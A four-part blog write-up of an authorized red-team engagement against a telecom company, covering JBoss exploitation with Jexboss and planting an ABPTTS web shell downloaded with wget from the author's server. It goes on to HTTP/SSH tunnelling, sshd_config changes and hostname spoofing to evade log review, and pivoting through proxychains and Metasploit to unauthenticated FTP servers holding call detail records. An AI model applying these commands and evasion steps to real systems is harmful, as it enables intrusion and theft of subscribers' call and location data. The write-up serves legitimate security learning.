Hi everyone, this is my first post on Medium and I hope you guys enjoy reading it! There is a lot of information that I had to redact because of the sensitive nature of this info. (I’m apologizing in advance 😅 )

Introduction

So there I was doing a Red Team Engagement for a client a while back. I was asked to get inside the network and reach to the Call Data Records (CDRs) for the telecom network. People who don’t know what CDR is, here’s a good explanation for it (shamelessly copied from Wikipedia) —

call detail record (CDR) is a data record produced by a telephone exchange or other telecommunications equipment that documents the details of a telephone call or other telecommunications transaction (e.g., text message) that passes through that facility or device. The record contains various attributes of the call, such as time, duration, completion status, source number, and destination number.

In all my other engagements, this holds a special place. Getting the initial foothold was way too easy (simple network service exploitation to get RCE) but the issue was with the stable shell.

In this blog post (not a tutorial), I want to share my experience on how I went from a Remote Code Execution (RCE) to proxified internal network scans in a matter of minutes.

Reconnaissance

Every ethical hacker/penetration tester/bug bounty hunter/red teamer knows the importance of Reconnaissance. The phrase “give me six hours to chop down a tree and I will spend the first four sharpening the axe” sits perfectly over here. The more extensively the reconnaissance is done, the better odds for exploitation is.

So for the RTE, the obvious choices for recon were: DNS enumerations, ASN & BGP lookups, some passive recons from multiple search engines, checking out source code repositories such as GitHub, BitBucket, GitLab, etc. for something juicy, doing some OSINT on employees for spear phishing in case there was no RCE found. (Trust me when I say this, fooling an employee to download & execute malicious documents is easy to do but only if you could overcome the obstacles — AVs & Email Spam Filters)

There are just so many sources from where you can recon for a particular organization. In my case, I started off with the DNS enumeration itself.

aiodnsbrute -v -t 7000 — no-verify -w dns-list.uniq.lst ******.com.** | grep -v Timeout | grep -v Misformatted | grep -v exception

Fun fact: The wordlist I used has 2.77 million unique DNS records.

Most of the bounty hunters will look for port 80 or 443 for all the sub-domains found. The thing is, sometimes it’s better to perform a full port scan just to be on the safe side. In my case, I found a sub-domain e[REDACTED]-nms.[REDACTED].com.[REDACTED] and after a full port scan, I got some interesting results.

The ports 12000/tcp and 14000/tcp were nothing special but 14100/tcp, let’s just say this was my lucky day!!

J-Fuggin-Boss!!

Remote Code Execution

From here on, everyone who has exploited the infamous JBoss vulnerabilities before knows how things will move forward. For newbies, if you haven’t had the experience with JBoss exploitation, you can check out the following links to help you out with the exploitation:

JBoss-Bridging-the-Gap-Between-the-Enterprise-and-You

hacking_and_securing_jboss

For JBoss exploitation, you can use Jexboss. There are many methods and exploitation techniques included in the tool and it also covers the Application and Servlet deserializations and Struct2. You can exploit JBoss using Metasploit as well, though I prefer Jexboss.

Continuing with the engagement, once I discovered JBoss, I quickly fired up Jexboss for the exploitation. The tool was easy to use.

./jexboss.py -u http://[REDACTED]:14100/

As we can see from the above screenshot, the server was vulnerable. Using the JMXInvokerServlet method, I was then able to get the Remote Code Execution on the server. Pretty straight forward exploitation! Right?

You must be thinking, that was no advance level shit, so what’s different about this post?

Patience guys!

Now that I had the foothold, the actual issue arose. Of course like always, once I had the RCE I tried getting a reverse shell.

and I even got a back connection!

However, the shell was not stable and the python process was getting killed after a few seconds. I even tried using other reverse shell one-liner payloads, different common ports, even UDP too, but the result was the same. I also tried reverse_tcp/http/https Metasploit payloads in different forms to get meterpreter connections but the meterpreter shells were disconnected after a few seconds.

I have experienced some situations like these before and I always questioned what if I’m not able to get a reverse shell, how will I proceed?

Entering Bind shell connection over HTTP tunnel!

How I hacked into a Telecom Network — Part 2 (Playing with Tunnels: TCP Tunneling)

TLDR; Red Team Engagement for a telecom company. Got a foothold on the company’s Network Monitoring System (NMS). Sorted reverse shell issue with tunneling SSH over HTTP. Went full-on Ninja when getting SSH over HTTP. Proxied inside the network to get for internal network scan. Got access to CDRs and VLR with SS7 application.

Recap: Red Team Engagement for a Telecom company. Found interesting subdomain, did a full port scan on that subdomain, found port 12000/tcp, 14000/tcp, and 14100/tcp found a running instance of JBoss (lucky me!), exploited JBoss for RCE, now getting issue with the reverse shell.

Now that when I tried getting a stable reverse shell, I failed. The other idea that came to my mind was getting a bind shell (getting SSH over HTTP for stability purpose) instead of reverse over HTTP (TCP Tunnel over HTTP). But what exactly am I achieving here?

TCP Tunnel over HTTP (for TCP stability purpose + Stealthy SSH connection (over TCP Tunnel created) + SOCKS Tunnel (Dynamic SSH Tunnel) for internal network scan using Metasploit = Exploiting internal network service to exfil data via these recursive tunnels.

Looks very complex? Let’s break it down into multiple steps:

  1. First, I created a bridge between my server and the NMS server so that it should support communication for different protocols other than just HTTP/HTTPS(>L2 for now) [TCP Tunnel over HTTP]
  2. Once the bridge (TCP Tunnel over HTTP) was created, I configured and implemented SSH Port Forwarding from my server (2222/tcp) to the NMS server (22/tcp) so that I could connect to the NMS server via SSH over HTTP. (SSH over TCP over HTTP to be precise) Note: The SSH service on the NMS server was running on 127.0.0.1
  3. I then, configured the NMS SSH server to allow root login and generate SSH private key (copy my Public Key to authorized_hosts file) for access to the NMS server via SSH.
  4. I checked SSH connection to NMS using the private key and when it worked, I then created a Dynamic SSH Tunnel (SOCKS) to proxify Metasploit over SSH Tunnel (Metasploit over SSH Tunnel over TCP Tunnel over HTTP to be precise).

I want to blog it step by step on how I created the tunnels and the way I played with them.

Tunneling 101

A tunneling protocol is a communications protocol that allows for the movement of data from one network to another. It involves allowing private network communications to be sent across a public network (such as the Internet) through a process called encapsulation. Because tunneling involves repackaging the traffic data into a different form, perhaps with encryption as standard, it can hide the nature of the traffic that is run through a tunnel.
The tunneling protocol works by using the data portion of a packet (the payload) to carry the packets that actually provide the service. Tunneling uses a layered protocol model such as those of the OSI or TCP/IP protocol suite, but usually violates the layering when using the payload to carry a service not normally provided by the network. Typically, the delivery protocol operates at an equal or higher level in the layered model than the payload protocol.
Source: Wikipedia

So basically the idea is to use the webserver as an intermediate proxy to forward all the network packets (TCP packets) from the webserver to the internal network.

Forwarding TCP packets to the internal network through the web server using the HTTP protocol

TCP tunneling can help you in situations where you have restricted port access and filtered egress traffic. In my case, there was not much filtering however, I used this technique to get stable shell access.

Now that I already had an RCE on the server and that too with the “root” privilege. I quickly used this opportunity to create a JSP based shell using ABPTTS

A Black Path Toward The Sun (ABPTTS)

As explained in the GitHub repo,

ABPTTS uses a Python client script and a web application server page/package to tunnel TCP traffic over an HTTP/HTTPS connection to a web application server.

Currently, only JSP/WAR and ASP.NET server-side components are supported by this tool.

So the idea was to create a JSP based shell using ABPTTS and upload it to the web server, let the tool connect with the JSP shell, and create a TCP tunnel over HTTP to create a secure shell (SSH) between my system and the server.

python abpttsfactory.py -o jexws4.jsp

When the shell got generated using ABPTTS, the tool created a configuration file to be used for creating the TCP tunnel over HTTP/HTTPS.

I then uploaded the JSP shell to the server using wget. Note: The jexws4.war shell is a package for Jexboss. When you exploit the JBoss vulnerability via Jexboss, the tool will upload its own WAR shell to the server. In my case, I just tried to find this WAR/JSP shell (jexws4.jsp) and replace it with the ABPTTS shell

wget http://[MY SERVER]/jexws4.jsp -O <location of jexws4.jsp shell on NMS server>

Once the ABPTTS shell got uploaded onto the server, I quickly confirmed it on Jexboss by executing a random command to see the output. Why? Now that the Jexboss shell was overwritten by the ABPTTS shell, no matter what command I executed, the output was always the hash printed out due to the ABPTTS shell.

As you can see from the above screenshot, when I executed the “id” command, I got a weird hash in return that proves the ABPTTS shell was uploaded successfully!

Now that I had a TCP tunnel over HTTP configured, the next thing I wanted to do was tunnel the SSH port running on the server (22/tcp on NMS) and bind the port to my system (2222/tcp). Why? so that I could connect to NMS via SSH. Did you notice what I was trying to do here?

SSH port forwarding (not yet tunneled) via TCP tunnel over HTTP

Even though I had yet to configure the SSH part on the NMS and on my own server for the SSH Tunnel. For now, I just prepared the port forwarding mechanism so that I could reach the local port 22/tcp on NMS from my server using port 2222/tcp

python abpttsclient.py -c <location of config file> -u <ABPTTS shell URL> -f 127.0.0.1:2222/127.0.0.1:22

I checked my connections table to check if the port is properly forwarded or not. As you can see in the below screenshot, my server’s port 2222/tcp was in the LISTEN state.

The next thing to do now is configuring the SSH server to connect to the NMS and start a Dynamic SSH Tunnel (SOCKS). I’ll cover this in the next post:

How I hacked into a Telecom Network — Part 3 (Playing with Tunnels: Stealthy SSH & Dynamic Tunnels)

TLDR; Red Team Engagement for a telecom company. Got a foothold on the company’s Network Monitoring System (NMS). Sorted reverse shell issue with tunneling SSH over HTTP. Went full-on Ninja when getting SSH over HTTP. Proxied inside the network to get for internal network scan. Got access to CDRs and VLR with SS7 application.

Recap: Red Team Engagement for a Telecom company. Found interesting subdomain, did a full port scan on that subdomain, found port 12000/tcp, 14000/tcp, and 14100/tcp found a running instance of JBoss (lucky me!), exploited JBoss for RCE, implemented TCP tunnel over HTTP for Shell Stability.

DISCLAIMER: This post is quite lengthy so just sit back,be patient and enjoy the ride!

In the previous part, I mentioned the steps I followed and I configured TCP Tunnel over HTTP and SSH port forwarding to access port 22/tcp of NMS server from my server using port 2222/tcp. In this blog post, I’ll show how I implemented SSH Dynamic Tunnels for further network exploitation.

Stealthy SSH Access

When you’re connected to an SSH server, the connection details are saved in a log file. To check these connection details, you can execute the ‘w’ command in *nix systems.

The command w on many Unix-like operating systems provides a quick summary of every user logged into a computer, what each user is currently doing, and what load all the activity is imposing on the computer itself. The command is a one-command combination of several other Unix programs: whouptime, and ps -a. Source: Wikipedia

So basically, the source IP is saved which is dangerous for a red teamer. As this was a RTE, I could not take the chance of letting the admin know about my C2 location. (don’t worry, the ABPTTS shell that I used was connected from my server and I already bought a domain for IDN Homograph attacksto reduce my chances of detection)

For the stealthy connection to work, I checked the hosts file to gather more information and I found that this server is being used quite heavily inside the network.

Such a server was already being monitored so I was thinking of ways to be as stealthy as possible in such a scenario. NMS was already monitoring the network so I thought it must be monitoring itself that includes all the network connections to/from the server. This means I can’t use a normal port scan using the TCP tunnel over HTTP.

How about encrypting the communication between my server and the NMS server using SSH? But for SSH connection, my hostname/IP will be stored in the log files, and also the username would be easy to identify.

In this case, my server’s username was ‘harry’, and generating a key for this user which I’ll store in the authorized_keys file was not a good option.

And then I came up with an Idea (in steps),

  1. Create the user ‘nms’ (this user was already created in the NMS server) on my server.
  2. Change my server’s hostname from OPENVPN to [REDACTED]_NMS[REDACTED]. (the same as the NMS server)
  3. Generate SSH keys for ‘nms’ user on my server and copy the public key in the NMS server. (authorized_keys)
  4. Configure the SSH server running on NMS to enable root login (PermitRootLogin), TCP port forwarding & gateway ports. (SSH -g switch just in case)
  5. Configure the NMS server to act as a SOCKS proxy for my further network exploitation. (Dynamic SSH Tunnel)
  6. The SOCKS tunnel is encrypted now and I can use this tunnel to do an internal network scan using Metasploit.

Implementation time!

I began by first adding the user ‘nms’ on my server so that I could generate the user-specific SSH keys.

I even changed the hostname of my server with the exact same for the NMS server so that when I log in using SSH, the logs will show a user login entry as nms@[REDACTED]_NMS[REDACTED]

Next, I generated the SSH Keys for ‘nms’ user on my server.

I also had to change the SSH configurations on the NMS server so I downloaded the sshd_config file from the server and changed few things inside.

AllowTCPForwarding: This option is used to enable TCP port forwarding via SSH.

GatewayPorts: This option enables the port binding to interfaces other than loopback on remote ports. (I’m enabling this option just in case if I want a reverse shell from other internal systems on this server which will forward the shell to me via Reverse Port Forwarding)

PermitRootLogin: This option permits the client to connect to the SSH server using ‘root’.

StrictModes: This option specifies whether SSH should check the user’s permissions in their home directory before accepting login.

Now that the configuration was done, I quickly uploaded (more like overwrite) the sshd_config file on to the NMS server.

And I also copied the SSH public key to ‘root’ user’s authorized_keys file

After everything was set, I then tried a test connection just to check if I’m able to do SSH using ‘root’ on the NMS server or not!

Booyah! 😎😎😎

SSH over TCP over HTTP (SSH port forward over TCP Tunnel created over HTTP connection via ABPTTS shell (JSP))

Dynamic Port Forwarding (Dynamic SSH Tunnels)

Let’s see what Wikipedia had to say about this —

Dynamic port forwarding (DPF) is an on-demand method of traversing a firewall or NAT through the use of firewall pinholes. The goal is to enable clients to connect securely to a trusted server that acts as an intermediary for the purpose of sending/receiving data to one or many destination servers.

DPF can be implemented by setting up a local application, such as SSH, as a SOCKS proxy server, which can be used to process data transmissions through the network or over the Internet.

Once the connection is established, DPF can be used to provide additional security for a user connected to an untrusted network. Since data must pass through the secure tunnel to another server before being forwarded to its original destination, the user is protected from packet sniffing that may occur on the LAN.

So all I had to do was create a Dynamic SSH Tunnel so that the NMS server would act as a SOCKS proxy server. Some of the benefits I had for using a SOCKS tunnel:

  1. Got indirect access to other network devices/servers through the NMS server (NMS server becomes the gateway for me)
  2. Because of the Dynamic SSH Tunnel, all the traffic originating from my server to the NMS server got encrypted (used SSH connection, remember?)
  3. Even if a server admin sits on the NMS server and monitors the network, he won’t be able to exactly find the root cause right away. (A dedicated one would definitely join the dots)
  4. The connection was stable (thanks to HTTP Keep-Alive), now all these recursive tunnels were running smoothly without any connection drop because of the TCP Tunnel that I implemented over HTTP.

When I logged in to the NMS server over SSH, here’s what the ‘w’ command showed me:

Now all I had to do was create the SOCKS tunnel and which I did using the command: ssh -NfCq -D 9090 -i <private key/identity file> <user@host> -p <ssh custom port>

The ‘PermitRootLogin’ was changed in sshd_config file for this purpose (to log in to the NMS server as root).

Worried what the server admin would think about the setup? Generally, when SSH connections are opened, server admin sometimes checks the username that logged in, the authorized keys that were used to log in but most of the time, he checks the hostname/IP from where the connection was initiated.

In my case, I initiated the connection from my server where the address was 127.0.0.1 using port 2222/tcp (thanks to TCP tunnel over HTTP) to the NMS server with destination address as 127.0.0.1 (again!). Now because of this setup, all he would see is a connection initiated by the NMS server to the NMS server SSH using the authorized keys (the public key) stored as user ‘nms’ (that’s why I created the same user on my host to generate the keys) and even if the admin checked the known_hosts file, all he would see is ‘nms@[REDACTED]_NMS[REDACTED]’ user connected to the SSH with IP as 127.0.0.1 which was already a user profile in the NMS server.

To confirm the SOCKS tunnel, I checked the connection table on my server and port 9090/tcp was in the LISTEN state.

Awesome! The SOCKS Tunnel is ready!

All that was left for me was to use the SOCKS tunnel for Metasploit for further network exploitation which I’ll cover in the next post (the final part):

Pro Tip!

When you connect to a server over SSH, a pseudo TTY is automatically allocated. Of course, this doesn’t happen when you’re executing commands via SSH (one-liners). So whenever you want to tunnel through SSH or create a SOCKS tunnel, try the -T switch to disable the pseudo TTY allocation. You can also use the below command:

ssh -NTfCq -L <local port forwarding> <user@host>
ssh -NTfCq -D <Dynamic port forwarding> <user@host>

To check all the SSH switches you can refer to the SSH manual (HIGHLY RECOMMENDED!). When creating a tunnel with the switches (showed above), you can create a tunnel without a TTY allocation and the tunneled port will work just fine!

How I hacked into a Telecom Network — Part 4 (Getting Access to CDRs, SS7 applications & VLRs)


TLDR; Red Team Engagement for a telecom company. Got a foothold on the company’s Network Monitoring System (NMS). Sorted reverse shell issue with tunneling SSH over HTTP. Went full-on Ninja when getting SSH over HTTP. Proxied inside the network to get for internal network scan. Got access to CDRs and VLR with SS7 application.

Recap: Red Team Engagement for a Telecom company. Found interesting subdomain, did a full port scan on that subdomain, found port 12000/tcp, 14000/tcp, and 14100/tcp found a running instance of JBoss (lucky me!), exploited JBoss for RCE, implemented TCP tunnel over HTTP for Shell Stability.

In the previous part (Playing with Tunnels: Stealthy SSH & Dynamic SSH Tunnels), I mentioned the steps I followed to create SSH Tunnels with stealthy SSH access from my server using port 2222/tcp. In this blog post, I’ll show how I used the SOCKS Tunnel for internal network reconnaissance and to exploit internal servers to get access to the CDRs stored in a server.

Situational Awareness (Internal Network)

During the engagement, I was able to create a Dynamic SSH tunnel via TCP tunnel over HTTP, and believe me when I say this, the shell was neat!

Moving forward, I then configured the SOCKS tunnel over port 9090/tcp and then connected proxychains for NMap scans.

Though I prefer Metasploit instead of NMap as it gave me more coverage over scans and I was able to manage the internal IP scans easily with it. To use the proxies for all the modules I used the “setg Proxies socks4:127.0.0.1:9090” command (to set proxy option globally). I looked for internal web servers so I used auxiliary/scanner/http/http_version module.

Because of setg, the Proxies option was already set, now all I needed to do was just give the IP subnet range and run the module.

I found some Remote Management Controllers (iRMC), some SAN switches (switchExplorer.html), and a JBoss Instance …

There’s another JBoss instance used internally? 🤣

Exploiting Internal Network Service

So there was another JBoss Instance running on port 80/tcp on an internal IP 10.x.x.x. So all I had to do was use proxychains and run JexBoss once more on the internal IP (I could have also used -P switch in JexBoss to provide the proxy address).

This was an easy win for me as the internal JBoss server running was also vulnerable and due to that, I was able to get RCE from my pivotal machine (initial foothold machine) to the next internal JBoss server 😎

Awesome! Now, when I got the shell, I used the following command to list down all the files and directories under the /home/<user> location in a structured way:

cd /home/<user> | find . -print | sed -e “s;[^/]*/;|_ _ _ _;g;s;_ _ _ _|; |;g” 2>&1

In the output, I found an interesting .bat file — ss7-cli.bat (The script configures the SS7 Management Shell Bootstrap Environment)

In the same Internal JBoss server, a Visitor Location Register (VLR) console client application was also stored to access the VLR information from the database.

What’s SS7?


Signaling System №7
 (SS7) is a set of telephony signaling protocols developed in 1975, which is used to set up and tear down telephone calls in most parts of the world-wide public switched telephone network (PSTN). The protocol also performs number translation, local number portability, prepaid billing, Short Message Service (SMS), and other services. Source: Wikipedia

To monitor the SS7/ISDN links and decode the protocol standards and generate CDRs for billing purposes, a console client is required that will interact with the system.

You may ask why there was an SS7 client application running on JBoss? One word — “Mobicents”

Mobicents

Mobicents is an Open Source VoIP Platform written in Java to help create, deploy, manage services and applications integrating voice, video, and data across a range of IP and legacy communications networks. Source: Wikipedia

Mobicents enables the composition of Service Building Blocks (SBB) such as call control, billing, user provisioning, administration, and presence-sensitive features. This makes Mobicents servers an easy choice for telecom Operations Support Systems (OSS) and Network Management Systems (NMS). Source: design.jboss.org

So it looks like the internal JBoss server is running a VoIP gateway application (SIP server) that is interacting with the Public Switched Telephone Network (PSTN) using SS7. (This was tiring to get to know the internal network structure without any kind of network architecture diagram)

Going beyond

While doing some more recon in the internal JBoss application running a VoIP gateway, I found that there were some internal gateway servers, CDR backup databases, FTP servers that stored backup configurations of SS7 and USSD protocol, etc.(Thanks to /etc/hosts)

rom the hosts file, I found a lot of FTP servers which at first I didn’t really felt important but then I found the CDR-S and CDR-L FTP servers. These servers were storing the backup CDR S-Records and CDR L-Recordsrespectively.

You can read more about these records from hereCDR S-Records: Page 157 & CDR L-Records: Page 168

Using Metasploit, I quickly scanned these FTP servers and checked for their authenticated status.

The FTP servers were accessible without any kind of authentication 🤣🤣

Maybe the FTP servers were used for internal use by VoIP applications or something else but still, a win is a win!

Due to this, I was able to get to the CDR backups that were stored in XLS format for almost all the mobile subscribers. (Sorry but I had to redact a lot as these were really critical information)

From the screenshot, A Number is from where the call was originated (the caller) and B Number was the dialed number. The CDR record also included the IMSI & IMEI numbers, Call Start/End Date & Timestamp, Call duration, Call Types (Incoming calling or Outgoing), Service Type (the telecom service companies), Cell ID-A (The Cell Tower from where the call was originated) and Location-A (The location of the caller)

Once our team notified the client regarding our access to the CDR Backup servers, the client asked us to end our engagement there. I guess it was too much for them to take it 🤣

I hope you guys enjoyed it!

Promotion Time!

If you guys want to learn more about the techniques I used and the basic concepts behind it, you can read my books (co-authored with @himanshu_hax)